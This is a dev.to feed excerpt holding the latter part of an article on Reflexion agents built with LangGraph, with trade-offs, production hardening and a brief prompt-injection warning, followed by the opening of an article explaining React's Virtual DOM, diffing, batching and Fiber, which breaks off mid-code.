&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Latency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Best answer given time budget&lt;/td&gt;
&lt;td&gt;Latency scales with iterations; not for real-time apps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reliability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Handles task types that single-pass fails at&lt;/td&gt;
&lt;td&gt;Can loop indefinitely without a hard iteration cap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  When TO Use Reflexion-Based Agents
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Tasks where errors are &lt;strong&gt;catchable and measurable&lt;/strong&gt; (code, math, structured outputs)&lt;/li&gt;
&lt;li&gt;Workflows where &lt;strong&gt;cost of a wrong answer&lt;/strong&gt; exceeds the cost of extra API calls (legal, medical, financial drafting)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Asynchronous&lt;/strong&gt; or batch tasks where latency is not the primary constraint&lt;/li&gt;
&lt;li&gt;Tasks involving &lt;strong&gt;tool use&lt;/strong&gt; where real-world feedback naturally forms the evaluation signal&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  When NOT To Use
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Real-time, low-latency applications (chatbots with &amp;lt;2s response requirement)&lt;/li&gt;
&lt;li&gt;Tasks where the evaluator itself would need to be an expensive LLM call, the economics may not hold&lt;/li&gt;
&lt;li&gt;Simple, well-scoped tasks where a single well-crafted prompt already performs well&lt;/li&gt;
&lt;li&gt;Domains where you cannot define a reliable evaluation metric at all&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; With inference costs falling ~50% every 12–18 months historically, the cost argument against multi-cycle agents is weakening. By 2026 standards, what costs $0.10 per task today may cost $0.01. Cost-based objections have a short half-life.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Example: When NOT to Use It: The Customer Service Case
&lt;/h3&gt;

&lt;p&gt;A retail company tested Reflexion for their live chat customer support bot. The latency of 3 reflection cycles (avg. 12 seconds per loop) made conversations feel broken. Customers expected responses in 2–3 seconds. The agent was technically more accurate, but user satisfaction scores dropped because of perceived slowness. &lt;strong&gt;Architecture must match use-case constraints&lt;/strong&gt;, not just quality targets.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📖 &lt;strong&gt;Further Reading:&lt;/strong&gt; &lt;em&gt;[Search: "LLM agent latency optimization production 2024"]&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;







&lt;h2&gt;
  
  
  Section 6: Production Hardening What Research Papers Don't Tell You
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8j6nd2vnjene326syp7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8j6nd2vnjene326syp7.png" alt=" " width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Research papers show the happy path. Production systems face messier realities. Here is what you must address:&lt;/p&gt;

&lt;h3&gt;
  
  
  Critical Production Concerns
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Context window overflow&lt;/strong&gt;: By iteration 3, the state contains the original task + 3 attempts + 3 reflections. On long tasks, this can exceed the model's context window &lt;em&gt;(the maximum text length a model can process at once)&lt;/em&gt;. Implement a compression step that summarizes older reflections into a brief "lessons learned" paragraph.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Checkpointing for resilience&lt;/strong&gt;: LangGraph's &lt;code&gt;SqliteSaver&lt;/code&gt; and &lt;code&gt;RedisSaver&lt;/code&gt; let you persist state between steps. If your agent is doing a 10-step task and fails at step 8, you can resume from step 8 without rerunning the first 7 steps. This is non-negotiable for long-running agents.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Observability&lt;/strong&gt;: Use LangSmith (or equivalent tracing tools) to visualize every node's inputs and outputs in real time. Reflexion agents that fail silently are far harder to debug than a simple chain, because the error may be in the evaluator logic, the reflection prompt, or the routing condition.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Human-in-the-loop escalation&lt;/strong&gt;: If after &lt;code&gt;max_iterations&lt;/code&gt; the agent has not reached a satisfactory score, route to a human review queue instead of silently returning the best-so-far. This is the most important reliability upgrade for production.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Example: The GitHub Copilot Workspace Model
&lt;/h3&gt;

&lt;p&gt;GitHub Copilot Workspace (released 2024) uses a multi-step agentic loop that resembles Reflexion: it generates a plan, the user can review/edit it (human evaluator), then it generates code, runs tests, and iterates on failures. The "human-as-evaluator" in the planning step is a deliberate design choice that combines automated iteration with human judgment the best of both worlds.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📖 &lt;strong&gt;Further Reading:&lt;/strong&gt; &lt;em&gt;[Search: "GitHub Copilot Workspace agent architecture 2024"]&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;h3&gt;
  
  
  ⚠️ SECURITY NOTE: Prompt Injection in Agentic Loops
&lt;/h3&gt;

&lt;p&gt;When the agent's tool outputs (e.g., web search results, code execution stdout) are fed back into the prompt, &lt;strong&gt;malicious content in those results can hijack the agent's behavior&lt;/strong&gt;. This is called prompt injection. Always sanitize tool outputs before injecting them into prompts, and consider running evaluators and reflectors on a separate, sandboxed model invocation.&lt;/p&gt;
&lt;/blockquote&gt;







&lt;h2&gt;
  
  
  Section 7: The Bigger Picture Where Reflexion Fits in the AI Stack
&lt;/h2&gt;

&lt;p&gt;Reflexion is one pattern in a growing taxonomy of agent architectures. Understanding where it sits helps you choose the right tool:&lt;/p&gt;

&lt;h3&gt;
  
  
  Agent Architecture Taxonomy
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Single-pass LLM&lt;/strong&gt; One prompt, one response. Fast. No self-correction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chain-of-thought&lt;/strong&gt; &lt;em&gt;(prompting the model to "think step by step" before answering)&lt;/em&gt; Better reasoning, but still single-pass.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ReAct&lt;/strong&gt; &lt;em&gt;(Reasoning + Acting: the model alternates between thinking and calling tools)&lt;/em&gt; Good for tool use, but no explicit self-correction loop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reflexion&lt;/strong&gt; Adds a verbal self-correction cycle on top of any base agent pattern.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-agent systems&lt;/strong&gt; Multiple specialized agents (planner, executor, critic), each running independently, coordinated by an orchestrator. Reflexion can live inside each agent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RLHF / fine-tuning&lt;/strong&gt; &lt;em&gt;(Reinforcement Learning from Human Feedback training the model's weights to be better using human preferences)&lt;/em&gt;  Bakes improvements into the model permanently, but requires data and compute. Reflexion is the inference-time alternative.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reflexion sits at a sweet spot: &lt;strong&gt;more reliable than ReAct, cheaper than fine-tuning, easier to implement than multi-agent systems&lt;/strong&gt;. It is the right starting point when single-pass quality is insufficient, but you cannot yet justify the infrastructure cost of a full multi-agent system.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; Some teams argue that investing engineering time in Reflexion scaffolding would be better spent curating fine-tuning data. For domain-specific, high-volume tasks, a fine-tuned small model often outperforms a Reflexion-looped large model at a fraction of the cost. This is a genuine trade-off worth modeling quantitatively before committing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Example: Cognition AI's Devin (2024)
&lt;/h3&gt;

&lt;p&gt;Devin, marketed as the first "AI software engineer," uses a multi-step loop where the agent writes code, runs it in a sandboxed terminal, observes the output (evaluator), and iterates on failures. A Reflexion-like architecture at its core. The real innovation was the deterministic evaluator: actual code execution. Devin's benchmark scores (14% on SWE-bench) became meaningful precisely because the evaluation was objective, not LLM-based.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📖 &lt;strong&gt;Further Reading:&lt;/strong&gt; &lt;em&gt;[Search: "Cognition AI Devin architecture evaluation 2024"]&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;







&lt;h2&gt;
  
  
  Conclusion: The Engineering Mindset Shift
&lt;/h2&gt;

&lt;p&gt;The move from simple LLMs to reliable AI systems is not about finding a better model. It is about changing your &lt;strong&gt;architectural mindset&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;From &lt;strong&gt;one-shot generation&lt;/strong&gt; to &lt;strong&gt;iterative refinement&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;From &lt;strong&gt;static prompts&lt;/strong&gt; to &lt;strong&gt;stateful, memory-carrying agents&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;From &lt;strong&gt;hoping the model is right&lt;/strong&gt; to &lt;strong&gt;building systems that verify and retry&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reflexion and LangGraph together give you the building blocks for this shift. Reflexion provides the &lt;em&gt;cognitive loop&lt;/em&gt;, the ability to criticize and improve. LangGraph provides the &lt;em&gt;execution infrastructure&lt;/em&gt;, typed state, conditional routing, persistence, and observability.&lt;/p&gt;

&lt;p&gt;Neither is magic. Both require careful engineering: a well-designed evaluator, a well-tuned reflector prompt, a sensible iteration cap, and proper production hardening. But applied correctly, they transform an LLM from a clever autocomplete into a system that can be &lt;em&gt;trusted&lt;/em&gt; with consequential tasks.&lt;/p&gt;

&lt;p&gt;The difference between a demo and a production AI system is not the model. It is the scaffolding around it.&lt;/p&gt;

</description>
      <category>llm</category>
      <category>agentsystems</category>
      <category>reflexion</category>
      <category>generativeai</category>
    </item>
    <item>
      <title>How React Achieves High Performance, Even With Extra Layers</title>
      <dc:creator>Shafiq Ur Rehman</dc:creator>
      <pubDate>Sun, 21 Sep 2025 14:10:41 +0000</pubDate>
      <link>https://dev.to/im-shafiqurehman/how-react-achieves-high-performance-even-with-extra-layers-339j</link>
      <guid>https://dev.to/im-shafiqurehman/how-react-achieves-high-performance-even-with-extra-layers-339j</guid>
      <description>&lt;p&gt;A common interview question around React is:&lt;br&gt;
&lt;strong&gt;“If DOM updates are already costly, and React adds Virtual DOM + Reconciliation as extra steps, how can it be faster?”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many developers, including myself at one point, confidently answer: &lt;em&gt;“Because of Virtual DOM!”&lt;/em&gt;&lt;br&gt;
But that’s not the full picture. Let’s break it down properly.&lt;/p&gt;
&lt;h2&gt;
  
  
  First: How Browser Rendering Works (Brief Overview)
&lt;/h2&gt;

&lt;p&gt;Before we talk about React’s optimizations, let’s first understand how the browser renders things by default.&lt;/p&gt;

&lt;p&gt;When the browser receives HTML and CSS from the server, it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creates the &lt;strong&gt;DOM tree&lt;/strong&gt; and &lt;strong&gt;CSSOM tree&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Combines them into the &lt;strong&gt;Render Tree&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Decides the &lt;strong&gt;layout&lt;/strong&gt;, which element goes where&lt;/li&gt;
&lt;li&gt;Finally, &lt;strong&gt;paints&lt;/strong&gt; the pixels on screen&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When something changes, like text content or styles, the DOM and CSSOM are rebuilt, the Render Tree is recreated, and then comes the expensive part: &lt;strong&gt;Reflow&lt;/strong&gt; and &lt;strong&gt;Repaint&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Positions are recalculated&lt;/li&gt;
&lt;li&gt;Elements are repainted wherever styles or content have changed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both Reflow and Repaint are costly operations, and this is exactly where React tries to help.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F265b33lv87kgaf71adz7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F265b33lv87kgaf71adz7.png" alt=" " width="800" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, let’s move to React and the Virtual DOM.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Is Virtual DOM?
&lt;/h2&gt;

&lt;p&gt;Virtual DOM is a lightweight copy of the actual DOM, represented as a JavaScript object.&lt;/p&gt;

&lt;p&gt;Why was it needed? What was the problem with direct DOM manipulation?&lt;/p&gt;

&lt;p&gt;Let’s look at an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Normal DOM manipulation, NOT React&lt;/span&gt;
&lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;span&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toLocaleTimeString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, only the &lt;code&gt;span&lt;/code&gt;’s time is updating. But if you inspect in DevTools, you’ll see the entire &lt;code&gt;div&lt;/code&gt; re-rendering.&lt;/p&gt;

&lt;p&gt;Modern browsers are smart; if other elements existed, they wouldn’t repaint them. But even then, in this case, the browser isn’t precise enough. The entire element container is being marked for update.&lt;/p&gt;

&lt;p&gt;Now look at the same code in React:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setTime&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toLocaleTimeString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;interval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;setTime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toLocaleTimeString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;clearInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Current Time:&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, only the &lt;code&gt;span&lt;/code&gt; updates. The &lt;code&gt;div&lt;/code&gt; doesn’t re-render. React has already optimized the process at this level.&lt;/p&gt;

&lt;p&gt;So how does React do this?&lt;/p&gt;

&lt;p&gt;React creates a Virtual DOM.&lt;/p&gt;

&lt;p&gt;First, it creates the initial Virtual DOM, a JS object tree mirroring your UI.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;div
├── h3
├── form
│   └── input
└── span → "10:30 AM"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When state updates, say, time changes to “10:31 AM,”  React creates a new Virtual DOM tree:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;div
├── h3
├── form
│   └── input
└── span → "10:31 AM"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then React compares the old and new Virtual DOM trees. This comparison process is called &lt;strong&gt;Diffing&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;React sees: “Only the text inside &lt;code&gt;span&lt;/code&gt; changed.” So it updates only that &lt;code&gt;span&lt;/code&gt; in the Real DOM, and triggers repaint for just that node.&lt;/p&gt;

&lt;p&gt;This comparison algorithm is called the &lt;strong&gt;Diffing Algorithm&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two Key Optimizations in Diffing
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Batching Updates&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If multiple state updates happen, React doesn’t go update the DOM each time. It batches them together and applies them in one go.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Alice&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setLoading&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;React will wait, collect all three, compute a final Virtual DOM, diff it, and update the Real DOM once.&lt;/p&gt;

&lt;p&gt;This avoids multiple reflows/repaints.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Element Type Comparison&lt;/strong&gt;
Let’s say you have a login/logout UI:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;isLoggedIn&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isLoggedIn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Welcome back, user!&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Log In&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Initial Virtual DOM (logged out):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;div → class="app"
└── button → "Log In"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Updated Virtual DOM (logged in):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;div → class="app"
└── h1 → "Welcome back, user!"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;React starts comparing from the root.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;div&lt;/code&gt; → same → check props → &lt;code&gt;class="app"&lt;/code&gt; → same → move on
&lt;/li&gt;
&lt;li&gt;Now children: &lt;code&gt;button&lt;/code&gt; vs &lt;code&gt;h1&lt;/code&gt; → TYPE MISMATCH&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;React doesn’t try to “update” the button into an h1. It destroys the entire subtree and recreates it from scratch.&lt;/p&gt;

&lt;p&gt;This is efficient because trying to morph one element into another is more expensive than just replacing it.&lt;/p&gt;

&lt;p&gt;So far, this process seems optimized. Then why did React introduce Fiber?&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Was Fiber Needed?
&lt;/h2&gt;

&lt;p&gt;The original Reconciliation process had a critical flaw: &lt;strong&gt;It was synchronous and recursive&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Once started, it would run to completion, blocking the main thread.&lt;/p&gt;

&lt;p&gt;Imagine this scenario:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User is typing in an input field
&lt;/li&gt;
&lt;li&gt;Meanwhile, 10 API calls return and trigger UI updates&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because React’s diffing was synchronous, it would process all 10 updates in one blocking pass, freezing the UI while the user is typing.&lt;/p&gt;

&lt;p&gt;React had no way to say: “This user input is high priority, do it first. Those API updates? Do them later.”&lt;/p&gt;

&lt;p&gt;Everything was treated equally and executed in one uninterrupted stack.&lt;/p&gt;

&lt;p&gt;This hurt user experience.&lt;/p&gt;

&lt;p&gt;So in React 16, Fiber was introduced.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is React Fiber?
&lt;/h2&gt;

&lt;p&gt;React Fiber is a new Reconciliation algorithm. All updates in modern React go through Fiber.&lt;/p&gt;

&lt;p&gt;Fiber solved the core problem: &lt;strong&gt;It made Reconciliation interruptible, prioritizable, and asynchronous&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let’s understand how.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fiber Working, Step by Step
&lt;/h2&gt;

&lt;p&gt;Consider this component:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setName&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setLoading&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

